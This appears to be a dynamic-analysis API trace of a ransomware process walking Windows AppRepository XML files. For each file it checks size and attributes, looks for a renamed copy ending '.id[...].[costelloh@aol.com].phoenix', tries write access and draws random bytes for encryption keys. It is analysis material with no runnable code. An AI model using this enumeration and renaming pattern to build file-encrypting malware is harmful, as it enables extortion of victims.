	[0250.788] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_1.10.22012.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_1.10.22012.0_neutral_split.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.788] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.788] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.788] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16805) returned 1
	[0250.788] CloseHandle (hObject=0x2d4) returned 1
	[0250.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.788] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.789] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.789] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.789] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16966) returned 1
	[0250.789] CloseHandle (hObject=0x2d4) returned 1
	[0250.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.789] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.789] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.789] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.789] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=820) returned 1
	[0250.789] CloseHandle (hObject=0x2d4) returned 1
	[0250.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.790] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.790] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.790] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.790] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=31683) returned 1
	[0250.790] CloseHandle (hObject=0x2d4) returned 1
	[0250.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.790] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.790] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.790] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoft3dviewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.791] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=7646) returned 1
	[0250.791] CloseHandle (hObject=0x2d4) returned 1
	[0250.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoft3dviewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoft3dviewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.791] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoft3dviewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.791] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.791] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.791] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=10775) returned 1
	[0250.791] CloseHandle (hObject=0x2d4) returned 1
	[0250.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.792] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.792] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.792] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.792] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=21110) returned 1
	[0250.792] CloseHandle (hObject=0x2d4) returned 1
	[0250.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.792] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.792] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.792] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.793] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4553) returned 1
	[0250.793] CloseHandle (hObject=0x2d4) returned 1
	[0250.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.793] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.793] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.793] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.793] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15378) returned 1
	[0250.793] CloseHandle (hObject=0x2d4) returned 1
	[0250.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.843] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.843] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.843] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_2017.311.255.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.843] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15943) returned 1
	[0250.843] CloseHandle (hObject=0x2d4) returned 1
	[0250.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_2017.311.255.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_2017.311.255.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.844] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_2017.311.255.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.844] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.844] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.844] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=842) returned 1
	[0250.844] CloseHandle (hObject=0x2d4) returned 1
	[0250.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.844] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.844] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.844] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.845] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=842) returned 1
	[0250.845] CloseHandle (hObject=0x2d4) returned 1
	[0250.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.845] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.845] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.845] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.856] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16833) returned 1
	[0250.856] CloseHandle (hObject=0x2d4) returned 1
